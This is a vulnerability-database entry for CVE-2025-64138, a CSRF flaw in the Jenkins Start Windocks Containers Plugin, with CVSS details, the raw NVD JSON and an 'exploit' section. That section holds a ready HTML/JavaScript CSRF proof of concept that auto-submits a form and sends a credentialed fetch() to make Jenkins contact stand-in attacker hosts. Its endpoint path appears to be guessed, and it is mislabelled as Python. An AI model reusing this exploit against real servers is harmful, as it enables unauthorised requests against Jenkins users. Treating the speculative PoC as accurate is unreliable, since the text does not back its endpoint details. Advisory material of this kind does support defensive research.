Security Vulnerability Report
中文
CVE-2025-64138 CVSS 4.3 MEDIUM

CVE-2025-64138

Published: 2025-10-29 14:15:58
Last Modified: 2025-11-04 22:16:40

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Start Windocks Containers Plugin 1.4 and earlier allows attackers to connect to an attacker-specified URL.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:start_windocks_container:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins Start Windocks Containers Plugin <= 1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64138 --> <!-- This PoC demonstrates how an attacker can trigger Jenkins Start Windocks Containers Plugin --> <!-- to connect to an attacker-controlled URL via CSRF attack --> <!DOCTYPE html> <html> <head> <title>Jenkins Plugin CSRF Test</title> </head> <body> <h1>Jenkins Start Windocks Containers Plugin CSRF Vulnerability</h1> <p>This page demonstrates CVE-2025-64138</p> <!-- Auto-submit form to trigger the vulnerable endpoint --> <form id="csrfForm" action="http://target-jenkins:8080/plugin/startWindocksContainers/connect" method="POST" style="display:none;"> <!-- Attacker's controlled URL --> <input type="hidden" name="url" value="http://attacker-controlled-server.com/malicious-endpoint" /> <input type="hidden" name="containerName" value="windocks-test" /> </form> <script> // Auto-submit the form when page loads document.addEventListener('DOMContentLoaded', function() { console.log('CSRF PoC: Submitting request to Jenkins...'); document.getElementById('csrfForm').submit(); }); </script> <p>If successful, Jenkins will connect to the attacker-specified URL.</p> </body> </html> <!-- Alternative: Using fetch API for more stealthy attack --> <script> fetch('http://target-jenkins:8080/plugin/startWindocksContainers/connect', { method: 'POST', credentials: 'include', // Include session cookies headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'url=http://attacker.com/collect&containerName=test' }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64138", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.237", "lastModified": "2025-11-04T22:16:40.270", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Start Windocks Containers Plugin 1.4 and earlier allows attackers to connect to an attacker-specified URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:start_windocks_container:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4", "matchCriteriaId": "437431B8-691D-4DE8-8F3E-409BA371ADF6"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3531", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}